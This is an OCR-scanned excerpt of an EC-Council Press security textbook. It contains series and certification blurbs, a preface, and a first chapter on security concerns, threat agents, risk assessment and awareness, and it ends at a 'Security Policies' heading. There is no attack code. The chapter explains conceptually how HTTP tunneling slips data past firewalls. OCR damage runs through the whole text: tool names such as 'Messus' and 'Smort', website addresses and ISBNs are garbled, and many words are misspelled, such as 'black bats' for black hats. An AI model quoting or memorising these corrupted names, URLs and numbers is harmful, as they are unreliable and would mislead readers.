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EC-Council’s mission Is to address the need fior well educated and certified information security and e-business practitioners.
EC-Council Is a global, member based organization comprised of hundreds of Industry and subject matter experts all
working together to set the standards and ralse the bar In Information Secwrity certification and education.

EC-Council certifications are viewed as the essentlal certifications ne
policy courses fall s
disseminated by EC:

ed where standard configuration and security
Providing a true, hands-on, tactical approach to security, Individuals armed with the knowledge
uncll programs are securing networks around the world and beating the hackers at thelr own game.

The Solution: EC-Council Press

The EC-Council | Press marks an innovation in academic text books and courses of
study in information security, computer forensics, disaster recowery, and end-user
security. By repurpasing the essential content of EC-Council's world class professional
certification programs to fit academic pragrams, the EC-Council | Press was formed.
With & Full Series, comprised of 25 different books, the EC-Council | Press is set to
revolutionize global information security programs and ultimately create a new breed
of practitioners capable of combating this growing epidemic of cybercrime and the

Securtty|t

Secunty|S is the endry level certification

for anpone interested in leaming computer
networking and security basics. Secunity|s
means 5 components of IT security: firewalls,
anti-vinus, |05, netaoriing, and web securite
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CJEH - Certified Ethical Hacker

Infoemation assets have evabeed into critical
comparents of survival. The poal of the Ethical
Hacker is bo belp the organization take pre
smiplive measures against malicious attacks
by attacking the system himself or herself;
il the while staying within legal limits.

rising threat of cyber war.

This Certification: E|CSA — EC-Council Certified Security Analyst

The abjective of E[C5A is to add value to experienced security professionals by helping
them analyze the autcomes of their tests. It is the only in-depth Advanced Hacking
and Penetration Testing certification available that covers testing in all modern
infrastructures, operating systems, and application environments.

Additional Certifications Covered By EC-Council Press:

Wireless|&

Wirelpss |3 introduces leamers to the basics of
wirtless techrologees and their practical adaptation
Learners are exposed o vanious wirekess tech
nologies such as Blustooth, RFID, IEEE B0 Thvg
standard, HomeRF, VoiP, and more; currenit and
emerging standards; and 2 variety of devices. This
rertification covers how diverse technalogies map
to real world applications, requires no pre- requisite
kroaviedge, and aimes to educabe the leamer in
simple applications of these technologies.

CJHF1 - Compurter Hacking Forensic lmvestigatar
Comnputer Hacking Forensic lrwestigatian is the
process of detecting hacking attacks and property
extracting ewidence to report the rime and
tonduct Fudits ta prevent fubure attacks. The C|HFI
materials will give participanits the necessary shlls
to idenkfy am intruder’s footprints and to properdy
gather the necessary evidence to proseoute.
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Tree E|M5A program is designed to provide
fundamental skills nesded ta analyze the interna
and extemal security threats against a retveark,
and to develop security poficies that will protect
an arganization's infarmation

EJDRP - EC-Council

Disaster Recovery Professional

E|DRP covers disaster ecovery topics, inchuding
idenitifying vulnerabilities, sstablishing palioes and
rales to prevent and mitigabe risks, and develop
ing disaster recowery plans
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| Preface

Hacking and electronic crimes sophistication has grown at an exponential rate in recent years. In fact, recent
reparts have indicated that cyber crime already surpasses the illegal drug trade! Unethical hackers, better known
as black bats, are preying on information systems of government, corporate, public, and private networks and
are constantly testing the security mechanisms of these organizations to the limit with the sole aim of exploiting
them and profiting from the exercise. High-profile crimes have proven that the traditional approach to computer
security is simply not sufficient, even with the strongest perimeter, properly configured defense mechanisms such
as firewalls, intrusion detection, and prevention systems, strong end-to-end encryption standards, and anti-wirus
software. Hackers have proven their dedication and ability to systematically penetrate networks all over the
world. In some cases, black bats may be able to execute attacks so flawlessly that they can compromise a system,
steal everything of valwe, and completely erase their tracks in less than 20 minates!

The EC-Council Press is dedicated to stopping hackers in their tracks.

About EC-Council

The International Council of Elsctronic Commerce Consultants, better known as EC-Council, was founded in
late 2001 to address the need for well-educated and certified information security and e-business practitioners.
EC-Council is a global, member-based arganization comprised of industry and subject matter experes all work-
ing together to set the standards and raise the bar in information security certification and education.

EC-Council first developed the Certified Ethical Hacker (CIEH) program. The goal of this program is to
teach the methodologies, tools, and techniques used by hackers. Leveraging the collective knowledge from hun-
dreds of subject matter experts, the CIEH program has rapidly gained popularity around the globe and is now
delivered in more than 70 countries by more than 450 authorized training centers. Over 80,000 information
security practitioners have been trained.

CIEH is the benchmark for many government entities and major corporations around the world. Shortly after
CIEH was launched, EC-Council developed the Certified Security Analyst [EICSA). The goal of the EICSA pro-
gram is to teach groundbreaking analysis methods that must be applied while conducting advanced penetration
testing. The EICSA program leads to the Licensed Pemetration Tester [LIPT) status. The Comprter Hacking
Forensic Investipator (CIHFL) was formed with the same design methodologies above and has become a global
standard in certification for computer forensics. EC-Council, through its impervious network of professionals
and huge industry, following has developed various other programs in information security and e-business.
EC-Council certifications are viewed as the essential certifications needed when standard configuration and
security policy courses fall shoet. Providing a true, hands-on, tactical approach to security, individuals armed
with the knowledge disseminated by EC-Council programs are securing networks around the world and beat-
ing the hackers at their cwn game.

About the EC-Council | Press

The EC-Council | Press was formed in late 2008 as a result of a cutting-edge partnership between global infar-
mation security certification beader, EC-Council and leading global academic publisher, Cengage Learning. This
partnership marks a revolution in academic textbooks and courses of study in information security, computer
forensics, disaster recovery, and end-user security. By identifying the essential topics and content of EC-Council
professional certification programs, and repurposing this warld-class content to fit academic programs, the EC-
Council | Press was formed. The academic community is now able to incorporate this powerful cutting-edge
comtent imta new and existing Information Security programs. By closing the gap between academic study and
prodessional certification, students and instructors are able to leverage the power of rigorous academic focus
and high demand industry certification. The EC-Council | Press is ==t to revolutionize global information secu-
rity programs and ultimately create a new breed of practitioners capable of combating the growing epidemic of
cybercrime and the rising threat of cyber-war.
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Penetration Testing Series

The EC-Council | Press Pemetration Testing series, preparing learners for EICSA/LPT certification, is intended
for those studying to become network server administrators, firewall administrators, security testers, system ad-
ministrators and risk assessment professionals. This series covers a broad base of topics in advanced penetration
testing and security analysis. The content of this program is designed to expose the learner to groundbreaking
methodologies in conducting thorough security analysis, as well as advanced penetration testing technigues.
Armed with the knowledge from the Peretration Testing series, learners will be able to perform the intensive
assessments required to effectively identify and mitigate risks to the security of the organization’s infrastructure.
The series, when used in its entirety, helps prepare readers to take and succeed on the EICSA, Certified Security
Amnalyst certification exam.

Books in Series

Peretration Testing: Security Analysis' 1435483669

Penetration Testing: Procedures and Methodologies/ 143 5483677
Penetration Testing: Network and Ferimeter Testing/1435483685
Penetration Testing: Communication Media Testing! 1435483693
Penetration Testing: Metwork Threar Testingf 1435483707

LI L ]

Security Analysis

Security Analysis coverage includes TCPIT Packet analysis, sniffing techniques, performing vulnerability analy-
sis using Messus, how to design a demilitarized zone and how to effectively employ snort and log analysis.

Chapter Contents

Chapter 1, The Need for Secwrity Analbysis, discusses the importance of security analysis the different types of
policies and laws relating to security. Chapter 2, TCF/IP Packet Aralysis, covers the strategies necessary to carry
out accurate packet analysis by explaining the structure of the TCPIP model, the makeup of TCF and 1T headers,
the type and meaning of ICMT messages, and the secure uses of UDP. Chapter 3, Advanced Sniffing Techrigues,
. provides information on ‘Wireshark and the varicus Wireshark filters, how to identify and employ a network
troubleshoating methodology, and an understanding of wireless scanning techniques. Chapter 4, Vidnerabilisy
Amalysis writh Messus, explains how to use both the Messus server and the Messus client. Chapter 5, Desipring
a DM Z, discusses basic demilitarized zone (DMZ) concepts along with how to design a2 Windows-hased Sun
Solaris and WLAMN DMZ. Chapter &, Smort Analysiz, discusses how to effectively use Snort, a widely used,
open-source network intrusion detection system. Chapter 7, Log Analysis, includes coverage of different types
of logs and how to analyze them.

Chapter Features

Mamy features are included in each chapter and all are designed to enhance the learning experience.
Features imclude:

* (hjectives begin each chapter and focws the learner on the most important concepts in the chapter.

* Key Terms are designed to familiarize the learner with terms that will be used within the chapter.

* Chapter Swemary, at the end of each chapter, serves as a review of the key concepts covered in the chapter.
* Rewiew Questions allow learners to test their comprehension of the chapter content.

* Hands-On Projects encourage learmers to apply the knowledge they have gained after finishing the
chapter. Chapters covering the Licensed Penetration Testing [LPT) materials do not have Hands-On
Projects. The LPT content does not lend itself to these types of activities. Files for the Hands-On
Projects can be found on the Student Resource Center. Mote: You will need your access code provided
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in your hook to enter the site. Visit e cenpage. comicommunity/eccouncil for a link to the Student
Resource Center or follow the directions on your access card.

Student Resource Center

The Student Resource Center contains all the files you need to complete the Hands-On Projects found at the
end of the chapters. Access the Student Resource Center with the access code provided in your book. Visit
wurnrcengage. comvicapmenityfecconrc for a link to the Student Resource Center or foullow the directions on
your access card.

Additional Instructor Resources

Free to all instructors who adopt the Secwrity Amalysis book for their courses is 2 complete package of
instructor resources. These resources are available from the Course Technology web site, www. compage.coms’
coursetechmology, by going to the product page for this book in the online catalog, click on the Companion
ite on the Faculty side; click om any of the Instructor Resources in the left navigation and login to access the
files. Omce you accept the license agreement, the selected files will be displayed.

Resources include:

* Instructor Marwal: This manual includes course ohjectives and additional information to help
your instraction.

* ExamView Testbark: This Windows-based testing software helps instructors design and administer
tests and pre-tests. In addition to generating tests that can be printed and administered, this full-
featured program has an online testing component that allows students to take tests at the compuater
and have their exams automatically graded.

* FowerFoint Presemtations: This book comes with a set of Microsoft PowerPoint slides for each chapter.
These slides are meant to be used as teaching aids for classroom presentations, to be made available to
students for chapter reviews, or to be printed for classroom distribution. Instructors are also at liberty @
add their own slides.

* Labs: These are additional hands-on activities to provide more practice for your students.

® Assesmment Achivities: These are additional assessment opportunities including discussion questions, writing
assignments, Internet research activities, and homework assignments along with a fimal cumulative project.

® Fimal Exam: This exam provides a comprehensive assessment of Security Amalysis content.

Cengage Learning Information Security Community Site

This site was created for learners and instructors to find out about the latest in information security news and
technology.

Visit conrmumity.cengape.comdinfoses to:

® Learn what's new in information security through live news feeds, videos and podeasts;

* Connect with your peers and security experts through blogs and forums;

® Browse our anline catalog,.

How to Become EICSA Certified

EC-Council Certified Security Analyst |EICSA) complements the Certified Ethical Hacker {CIEH) certification by
exploring the analytical phase of ethical hacking. While CIEH exposes the learner to hacking tools and technolo-
gies, EMCSA takes it a step further by exploring how to analyze the satcome from these toals and technologies.

EICS4 is a relevant milestone toward achieving EC-Council’s Licensed Penetration Tester (LPT], which alse
ingrains the learner in the business aspect of penetration testing. The LPT standardizes the knowledge hase for
penetration testing professionals by incorporating the best practices followed by experienced experts in the field.
The LPT designation is achieved via an applicationfapproval process. LPT is obtained by holding both the CEH
and ECSA, and then completing the application process for LFT found at bt tpiscsne eccouncil org.
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EICSA certification exams are available through authorized Frometric testing centers. To finalize your certi-
fication after your training, you must:

L. Apply for and purchase an exam voucher from the EC-Council community site at Cengage:
WM. EERpARE. oMo mnrityieccourerl.

1. Dnce you have your exam voucher, visit wuneprometric.com and schedule your exam.
3. Take and pass the EICSA certification examination with a score of 70% or better

About Our Other EC-Council | Press Products

Ethical Hacking and Countermeasures Series

The EC-Council | Press Ethical Hacking and Conntermeasires series is intended for those studying to become
security officers, auditors, security professionals, site administrators, and anyone whe is concerned abouot or
respansible for the integrity of the network infrastructure. The series includes a broad base of topics in offensive
netwark security, ethical hacking, as well as network defense and countermeasures. The content of this series
is designed to immerse learners into an interactive environment where they will be shown how to scan, test,
hack, and secure information systems. A wide variety of tools, viruses, and malware is presented in these books,
providing a complete understanding of the tactics and tools used by hackers. By gaining a thorough understand-
ing of how hackers operate, ethical hackers are able to set up strong countermeasures and defensive systems m
protect their organizatbon’s critical infrastructure and information. The series, when used in s entirety, helps
prepare readers to take and succeed on the CIEH certification exam from EC-Council

Books in Series

Ethical Hacking and Cowntermeasires: Attack Phases/143548360X

Ehical Hacking and Cowntermeasires: Threats and Defense Mechanisms/ 1435483618
Ethical Hacking and Cowntermeasires: Web Applications and Data Servers/ 1435483626
Ethical Hacking and Cowntermeasires: Limix, Macimtash and Mabile Systems/1435483642
Ethical Hacking and Cowntermeasires: Secure Netiwark Infrastructures/ 1435483650

LI L

Computer Forensics Series

The EC-Council | Press Comprter Foremsics series, preparing learners for CIHFI certification, is intended for
thuse studying to become palice investigators and other law enforcement personnel, defense and military person-
nel, e-business security professionals, systems administrators, legal professionals, banking, insurance and other
professionals, government agencies, and IT managers. The content of this program is designed to expose the
learner to the process of detecting attacks and collecting evidence in a forensically sound manner with the intent 1o
report crime and prevent future attacks. Advanced techniques in computer investigation and analysis with interest
in generating potential legal evidence are imcluded. In full, this series prepares the learner to identify evidence in
computer-related crime and abuse cases as well as track the intrusive hacker’s path through client system.

Bowks in Series

* Computer Foremsics: Drvestipmtion Procedures and Response/ 1435483499

* Computer Foremsics: Investipating Hard Disks, File and Operating Systems/ 1435483502
* Computer Foremsics: Investipating Data and Imape Files/1435483510

* Computer Foremsics: Investipating Netwaork Intrusions and Cybercrime/1435483529

* Computer Forensics: Imvestipating Wireless Networks and Devices/ 14354831537

Network Defense Series

The EC-Council | Press Netiwwork Defense series, preparing learners for N5A certification, is intended for
those studying to become system administrators, network administrators, and anyone whao is interested in
network security technologies. This series is designed to educate learners, from a vendor newtral standpoint,
hoow to defend the networks they manage. This series covers the fundamental skills in evaluating internal
and external threats to network security, design, and how to enforce network level security policies, and
ultimately protect an organization’s information. Covering a broad range of topics from secure network fun-
damentals, protocols and analysis, standards and policy, hardening infrastructure, to configuring 175, 105
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and firewalls, bastion host and honeypots, among many other topics, learners completing this series will have
a full understanding of defensive measures taken to secure their organizations” information. The series, when
used in its entirety, helps prepare readers o take and succeed on the NISA, Metwork Security Administrator
certification exam from EC-Council.

Books in Series

* Wetwork Defense: Fundamentals and Protocols/ 1435483553

= Metwork Defense: Secwrity Policy and Threatsf 1435483561

® Metwork Defense: Perimeter Defense Mechanismsi143548357X

® Metwork Defense: Securing and Trowbleshooting Netiwork Operating Systems/ 1435483588
= Metwork Defense: Secwrity and Valrerability Assessment/ 1435483596

Cyber Safety/1435483715

Cyber Safery is designed for anyone wha is interested in learning computer networking and security basics. This
product provides information cyber crime; security procedures; how to recognize security threats and attacks,
incident response; and how to secure Internet access. This book gives individuals the basic securiey literacy skills
to begin high-end IT programs. The boak also prepares readers to take and succeed on the Secwrityl 5 certifica-
tion exam from EC-Council.

Wireless Safety/1435483766

Wireless Safery imtroduces the learner to the basics of wireless technologies and its practical adaptation.
Wireless|® is tailored to cater to any individuals desire to learn more about wireless technology. It requires no
pre-requisite knowledge and aims to educate the learner in simple applications of these technologies. Topics in-
clude wireless signal propagation, IEEE and ETS1 wireless standards, WLAMs and operation, wireless protocols
and communication languages, wireless devices, and wireless security networks. The book also prepares readers
to take and succeed on the Wireless|§ certification exam from EC-Council.

Network Safety/1435483774

Network Safety provides the basic core knowledge on how infrastructure enables a working environment. It is
imtended for those in office environmends and for home users who want to aptimize resmrce utilization, share
infrastructure, and make the best of technology and the convenience it offers. Topics indlude foundativns of
networks, networking components, wireless networks, basic hardware components, the networking environ-
ment and connectivity as well as troubleshoating. The book also prepares readers to take and succeed on the
Metwarkl5 certification exam from EC-Council.

Disaster Recovery Series

The Disaster Recovery series is designed to fortify virtualization technology knowledge of system administra-
tors, systems engineers, enterprise system architects, and any IT professionals who are concerned about the
imtegrity of the their network infrastructures. Virtualzation technology gives the advantage of additional flex-

||:u|:|t:r as well as cost savi ngs while d.:ph:wmg:. disaster recovery solution. The series, when used in its entirety,
helps prepare readers to take and succeed on the EICDR and EICVT, Disaster Recovery and Virtualization
Technology certification exam from EC-Council. The EC-Council Certified Disaster Recovery and Virtualiza-

tion Technology professional will have a better understanding of how to setup disaster recovery plans using
traditiomal and wirtual technologies to ensure business contimuity in the event of a disaster.

Books in Series
» Disaster Recovery 1435488709
= VirtudiminnS:mri:}fllﬁlSBﬁgf
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The Need for Security Analysis

Objectives

After completing this chapter, you should be able to:

uUnderstand why securlty |s a conoern
Identify what needs to be protected
uUnderstand why Intrusions succeed
Recognize the greatest challenges In securlty
Take preventative steps to ensure security
Recognize threat agents

Assess securtty needs

Understand risks

Ralse information securlty awareness
Understand security policles

Bacome familiar with 150 17799 and legislation

Key Terms

Clphartaxt encrypted data that is unreadable without a special key

Chapter

Damilitarized zone (DMZ)}  a type of firewall configuration used to create a protective space
between an internal private metwork and the Internet; usually holds servers such as a Web or

e-mail servers that require public access from the Internet
PMaintext  unencrypeed, normally readable text

Wirgless access poimt  a specially installed node on a WLAN that connects wireless devices m

the WLAMN



1-2 Chapar 1

Introduction to the Need for Security Analysis

Computer systems, and the information stored in them, are an increasingly valuable component of any organi-
zation. With that value comes a degree of risk, and good security palicies help to lessen that risk. This chapter

discusses why security analysis is important and goes over different types of security policies. It also covers some
important laws relating to security.

Security Concerns
The following are a few of the most prominent concerns in system security:
* Theft
* Fraudiforgery
* Unauthorized information access
* [Interception ar modification of data

Theaft

System security is concerned with preventing all kinds of theft, including theft of data, theft of physical property,
and identity theft.

Identity Theft

The illegal use of another person's identification, commonly known as identity theft, can be a serious problem.
In the United States, some state legislators have imposed laws restricting employers from asking for employees’
Social Security numbers, due to the ease with which a perpetrator can steal a person’s identity using that num-
ber. Securing personal information in the workplace and ar home and keeping o close eye on credit card reports
are some ways to minimize the risk of identity theft.

Fraud/Forgery

Fraud is any deception made for personal gain, often monetary. Forgery is a type of frand that involves the false
creation of written artifacts or the alteration of original writing. Some examples of forgery include faking a
signature or creating a real-looking fake contrace.

Unauthorized Information Access

Unauthorized access refers to intercepting and changing computer resources, storing and retrieving data, or tres-
passing without permission. Unauthorized access or madification of files can pose a serious threat to security.

Interception or Modification of Data

Removal or alteration of original data affects the integrity of system resources such as files, folders, and data-
hases. Interception of the network can cause malicious threats, loss of important data, and nevwork failures.

What S5hould Be Protected

The goal of system security is to protect the following items:
* Amets
* Metwork infrastructure
= Metwork availabilicy
* Confidential data

Assots

Protecting assets invalves protecting sensitive information and the privacy of customers, providing safety mea-
sures to employees, planning asset pratection, promoting awareness, and implementing training programs for
employees. Assets can be categorized into the following types:
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® Personal assets
* Rusiness assefs

= Fartnerships and trusts

MNetwork Infrastructure

Tir avoid theft and other security problems, it is necessary to protect the network infrastructure. 15Ps shoulkd
provide stromg frontline security in order to reduce attacks and malicious threats.

Network Availability

Availability refers to the network’s sperational time and includes both the network’s mean time between failures
(MTBF) and its mean time to recovery (MTTR) after a network failure. Networks and data should be available
to legitimate users at any given time; this availahility can be negatively affected by security compromises.

Confidential Data

All organizations and individuals have information that is private and confidential, and should be shared
securely and carefully. Exposing personal data may result in identity theft

Reasons Intrusions Succeed

Technology contimues to evolve at an unprecedented rate. As a result, new products tend to be engineered more

toward ease of use than secure computing. System designers often overlook vulnerabilities during deployment of

the system. 5till, an increase in built-in defaule security mechanisms means users have to be more competent.
As computers are used for more and more routine activities, it becomes increasingly difficult for system

administrators to allocate resources exclusively for security. This includes the time needed to check log files,

detect vulnerahilities, and apply security update patches. This has increased the demand for dedicated security

prodessionals to constantly moniter and defend 1CT [information and commaunication technology) resources.
The following are some reasons why intruders can overcome security:

® Foor defection, response, and escalation: The weak performance of intrusion detection is caused by
a wide range of new attacks on networks as well as a high rate of false alarms. Due to poor detection
techniques and an increase in new attacks, the percentage of intrusions keeps increasing.

® Mo formal policies for proactive anditing andfor event managerment

* Liwited use of muthentication and awthorization systems: Due to suboptimal use of authentication
technigues, identity theft and other Internet crimes have increased in frequency.

® Ipromance of logical andior crgarizatioral bowendaries within the retiwork infrastructre

Challenges to Security

Internet-related threats and attacks are always on the rise, making system security all the more crucial. The
following are some of the challenges to security:

® Internet environment complexity

= MNew technologies
= Mew threats and new exploits

= Limited focus on security
* Limited security expertise
* Unreported incidents

Internet Environment Complexity

Internet usage has increased tremendously over the past two decades and poses the biggest challenge to secu-
rity. The following are the main reasans for this increase in Internet traffic: multiple points of access, insecure
network design, and multivendor environments.
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Multiple Points of Access

Access points can be generally categorized into the following types:

* Wireless! Wired: Wireless access poimts (WAPs| are specially installed nodes on WLAMNs that connect
wiirebess devices to the WLANS.

* Analop/Remote: A remote access point is a secondary access point in a wireless network. It is also
known as a relay access point and is connected to a master access point.

Insecure Network Design

After designing or establishing a network, network personnel need to manage the network effectively. While it
is impossible to achieve complete security, a respectable amount can be achieved by using applications such as
firewalls, NAT, and VINs.

Limiting network traffic from the Internet is done by implementing a DMZ, thereby preventing network traf-
fic from reaching the internal network. A DMZ (demilifarized zome) is a type of firewall configuration used to
create a protective space between an internal private network and the Internet. The DMZ usually holds servers
such as a Web or e-mail servers that require public access from the Internet. An ineffective or nonexistent DM Z
provides an opportunity for a hacker to attack. In addition, single-layer security designs mean that an attacker
needs to break through only one layer in order to gain full access to a system.

MultiVendor Environiments

Most systems are made up of components from multiple vendors, such as Microsoft and Cisco. This adds com-
plexity as well as potential incompatibilities.

New Technologies

Technodogy is rapidly advancing. What may be an effective security policy one day could be literally useless the
next day when a new artack s discovered. It is difficult to evolve network infrastructure at the same pace as
new attack techniques.

Ome new technology is tunneling software, which makes it easier to bypass access contrals. One type of
tunneling software is HTTP tunneling software, which includes both dient and server software. The server
piece listens for HTTP requests. The client piece encapsulates data packets into HTTT requests and sends the
requests to the server software. Since most corporate networks accept HT TP requests to allow users to access
the corporation’s Web site, the requests that the client sends make it through the corporate network's defenses.
The server software then strips the data packets out of the HTTP data and sends them to the ultimate target,
which could be behind the corporation’s firewall. In this way, an attacker can send data packets to a port that
is usually blocked by the corporation’s firewall.

New Threats and New Exploits

A defined way to breach the security of an [T system through vulnerabilities is known as an exploi. Contrary
to the “super hacker™ myth, even relatively inexperienced users can use secondhand information and tools o
perform these exploits. Mew exploits are discovered as often as every four hours, and vigilance is required o
stay aware of these exploits before they affect systems.

Limited Focus

Another challenge is the limited focus on security. IT security is often allocated only 2 small portion of the IT
budget. Companies generally do not want to spend what is necessary for adequate security tools and products.
They aften fail to see the need for security until after an attack has occurred, and by then it is too late.

Limitad Expertise
Computer programs and systems are complex, and they require trained security experts. 5till, many organiza-
tions are unwilling to hire expensive security personnel. In most crganizations, network administrators also

function as security administrators. To increase security, it is necessary to increase the number of experts and
give specialized training to network engineers.
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Figure 1-1 The Darwin Techi404 Data Loss Cost Calculator gives a rough estimate of
the financial cost of data compromise.

Unreported Incidents

Al bo witen, exploited or compromised victims fail to repart incidents for fear of losing the goodwill and faith
aof their employees, customers, and partners. A compromise could be seen as a sign of weakness for the company,
which can cause consumer confidence to drop or stack prices to fall. The trend of information assets influencing
the market has made many companies think twice before reporting incidents to law enforcement for fear of bad

press and negative publicity.
Tool: Darwin Tech//404 Data Loss Cost Calculator

The Darwin Techi 404 Data Loss Cost Caloulator allows a company to estimate the financial loss cansed by a
breach in data security within a range of plus or minus 20%. The program can be seen in Figure 1-1. To use it,
follow these steps:

I. Enmter the number of affected records in the data breach wr identity theft incident in the text bos on
the top right. The number must be between 1,004 and 25,000, Do not use commas when entering the
number.

2. The buttons next to the text box will increase or decrease the number of affected records by 500.

3. Click on each expense description to turn the category “on” or “of£.” This will either indude or exclude
expenses associated with the line item.

4. Click the graph icon in the lower left to generate a pie chart of the resules.
5. Clicking each pie chart slice will show the distribution of costs for that category.

Preventative Steps

In order to increase security, it is necessary to take some preventative steps against threats. The following are
SOATEE WS b inCrease seCurity:

= Accurate authentication

® Proper authorization
* Confidentiality of data
= Integrity of data
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* Availahility of data
* MNonrepudiation

Authentication

Authentication is the process of verifying the identity of an individual. Logging omto a computer is a two-stage
process. The user is asked to enter the following:

1. Usermmme: The identifying process
2. Password: The authenticating process
Authorization
Authorization is the process that permits a person, program, or device to have access to data, functionality, or a

service. Authorization or access control is typical ly defined by access control lists, or ACLs. The authorization
lewel of a wser determines just how much that user can access.

Confidentiality

Confidentiality is the requirement that particular information be restricted to the appropriate personnel. Con-
fidentiality is generally maintained through paswords and encryption. Mechanisms often used to maintain
confidentiality include the following:

* Data classification: The process of labeling information according to wha is allowed to see it and who is not
* Emcryption: Only those with the right key are able to decrypt the data
* Equipmment disposal: Formatting disks several times, degaussing tapes, shredding paper, and sanding
CD-ROMs
Integrity
Data integrity guarantees that data is complete, correct, and not modified. Integrity also ensures that data is
accessed and altered only by authorized persons. Data integrity includes the following:

* Accuracy

* Correctness

= Validity

Integrity can be compromised due to any of the following reasons:
* Malicious altering

* Transmission ervors

* Hard-disk crash

* Human error

* Matural disasters

Measures to maintain data integrity may inclode the following:

* Checksums: Mumbers produced by a mathematical function to verify that a given block of data has not
been changed

* Access control: Ensures that ucll} authorized wsers can up-d:.te, add, and delete data

* Hash functions: Create a fixed-length string from a large or variable amount of data that & unigue o
that data and will change should any part of that data be changed

Availability

Availability means legitimate users can access their data at any given time. Measures to maintain data avail-

ability may include-
* Redundant systems, including disk arrays and clustered machines
* Antivirus software to stop worms from destroying networks
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s Distributed denial-of-service {008 Preveniin systems
= Regular backup to network-attached storage {WAS|
Nonrepudiation

Monrepudiation ensures that the appropriate party receives a transferred message. This means that a contract
cannat later be denied by either of the parties involved. Monrepudiation can be obtained by using:

* Dipital signatiere: A unique identity for any material

® Time stamps: Show that a document existed at a certain time

® Secure audit fogs: Show evidence of any activity

There are three types of nonrepudiation in system security:

1. Monrreprdiation of receipt: Proves that the message was delivered 1o the right destination
2. Monrreprdiation of serder: Proves that the message originated from the correct source

3. Nonreprdiation of time: Proves when the message was sent and received

Threat Agents

Employees
= Disgruntled employees think that they are underpaid for their hard work. This also includes employees
wha are not happy with the behavior of their superiors.

= Lack of education

® Users: Lack of proper education among users may pose a problem when these users download files
infected with viruses.

*  Adwmimistrators: Lack of proper managing skills among administrators may also lead to threars.

* Corporate espionage is the use of illegal means to gather information. This practice is also referred to as
spying. Corporate spies could be either insiders or outsiders.

= Misuse of IT privileges

= [mtermal: Security mechanisms do not apply for insiders, because they have privileges on that system.
‘With these privileges, they might misuse an crganization™ data for their own purposes.

* External: For the purpose of theft of data or learning corporate secrets, organizations may ask their
employees to join a rival company, gather information, and pass that information back to them.

Mo Physical Security

Mo physical security might as well be no security at all. Apart from locks, cameras, and guards, the infrastruc-
ture of a building should be carefully considered before deploying the network. The following are the three
mast comman threats:

1. Theft of propertyidata

2. Theft of identity

3. Destruction of propertyidata

Physical security may be compromised by the following:

= Unattended computer systems on the LAN

* Unlocked doors or poorly sscured server rooms and wiring clossts
Organized Threats
Threats can alse be carried out by the following:

* Fundamentalist groups

* Organized crime
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* Governmentiforeign intelligence

* Terrorists

MNeeds Assessment Questions
To assess an organization’s security needs, consider the fellowing questions:
* How easy would it be for someone to steal corporate information?
* How easy would it be for someone to crash the network?
* What vulnerahilities exist in regard to the Imternet connection?
* What is the likelihood that the system will be hacked?
* What damage could result from an attack?
* What could an employes do with unauthorized access privileges?
* How easy is it to circumvent the network’s access contrals?
* How easy would it be for an insider to compromise the system?
* How much should be spent on the 1T security program?
* Wha is responsible for protecting I'T and informational resources?

How Much Security Is Enough?

A significant challenge of risk management is that the security risk changes quickly, thanks to new threats, vul-
nerahilities, and emerging attack tools. Security must be maintained depending wpon the type of risk. Consider
these questions to determine how much security is necessary:

* How much is there to lose?
* What is the level of exposure/risk?

* How is the system vulnerable?
* How can these risks be mitigated?

Risk
Risk is the possibility of harm or loss. It refers to the uncertainty about events and ootcomes that could have

an undesirable effect on the organization and its goals. Potential negative events might have an adverse effect
on operations such as work schedule, technical capability, revenues, quality standards, and personnel. Every

organization faces risk, but the difference lies in the approach with which they choose to handle it.
Risk exposure analysis should be conducted om various facilities, including the follvwing:

* Physical assets

* Human resources

* Machinery and equipment
* [Information systems

* Data storage

Tar put it simply, risk can be cabculated as asset value times perceived threat times vulnerability.
Risk Analysis

Risk analysis is the process of asessing various risks, managing plans and actions for mitigating those risks,
and communicating the plans to all the stakeholders of the organization.

* Risk assessment is the process of identifying and accessing resources that pose a threat to the business or
project environment. It depicts the likelihood of various risks that may cause undesirable consequences
and for which measures have to be taken.
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* Risk management is the process of evaluating the plan of action developed and impl ting it
Continuous monitoring is the only way to stay ahead of risks.

* Risk communication is an interactive session between stakehalders and risk managers. Communicating
the various threats and the documented plans goes a long way toward retaining stakeholders’ confidence
in the project.

Comman security risk analysis metheds and tools include the following:

* CRANM

= SARAH

* 151 and [53

= VISART

= Delphi

Risk Assessiment

Risk assessment is the process of identifying and accessing rescurces that pose a threat to the business or
project environment. Risk assessment enables the analysis of each functional area to determine the potential
loss generated through those risks.

Risk assessment answers the following questions:

® What can Bo wrong? ithreat events)

= Ifit happened, how bad could it be? (exposure factor)

* How often might it happen? (frequency)

= How certain is it that the first three answers are correct? (uncertainty)

® What can be done to remove, mitigate, ar transfer risk? 19F=3ua.n:h and controds)
* How much will it cost? |safeguard and contral costs)

= How efficient is it? (cost/benefit, or return on investment [RO1], analysis)

Steps of Risk Assessment

1. Inventory, definition, and requirements

® Phase 1: Identify critical business processes.

® Phase 2: Create a list of assets used by those critical processes.

® Phase 3: Place a value on the assets or somehow quantify their importance.
2. Vulnerability and threat assessment

® Phase 1: Run automated security tools to start the analysis process.

* Phase 2: Follow up with 2 manual review.
3. Evaluation of controls

® Rrainstorm about potential safeguards and controls as well as their associated costs.
4. Analysis, decision, and documentation

® Phase 1: Analyze a list of contral options for each threat.

® Phase 2: Decide which contral is best to implement for each threat.

® Phase 3: Document assessment process and results.
A, Communication

* Communicate results to appropriate parties.
6. Monitoring

* Continuously analyze new threats and modify controls as necessary; significant organizational changes
should lead to o new risk assessment.
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Risk Assessment Valve The risk assessment value, or RAV, is defined as the degradation of security {or
escalation of risk) over a specific life cycle based on periodic testing. The following input variables are used to
compute the RAV:
* Operational security {OPSec)
= Visihilities
* Trusts
® Accesses
* Actual security
* Vulnerabilities
* Weaknesses
®* Concerns
* Exposures
* Anomalies
* Loss controls
* Aunthentication
= HRepudiation
* Confidentiality
® Privacy
* Indemnification
* Integrity
= Safety
* Usahilicy
* Continuity
* Alarm

Figure 1-2 shows the formula used to calculate the RAY after a base number calculated from when the secu-
rity was first put in place (a baseling| is assigned.
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Information Security Awareness

The global trend toward the use of Internet and electronic services is making a big impact on business crganiza-
tioms and other sectors. Today, information systems and networks are everywhere. Advancement in information
technolegy increases efficiency and applications, but due to centralized, distributed, and remote computing, the
chances of an attack continue to increase.

T reduce the percentage of attacks, it is necessary to make all users aware of threats and vulnerahilities. If
users understand and appreciate the dangers and risks associated with mismanaging information, the exposures
can become greatly reduced. Awareness is also necessary to implement security policies and make sure that
related contrals are working safely. Users who are not aware of the risks associated with information security
cannat understand the policies designed to reduce these risks.

Security Policies
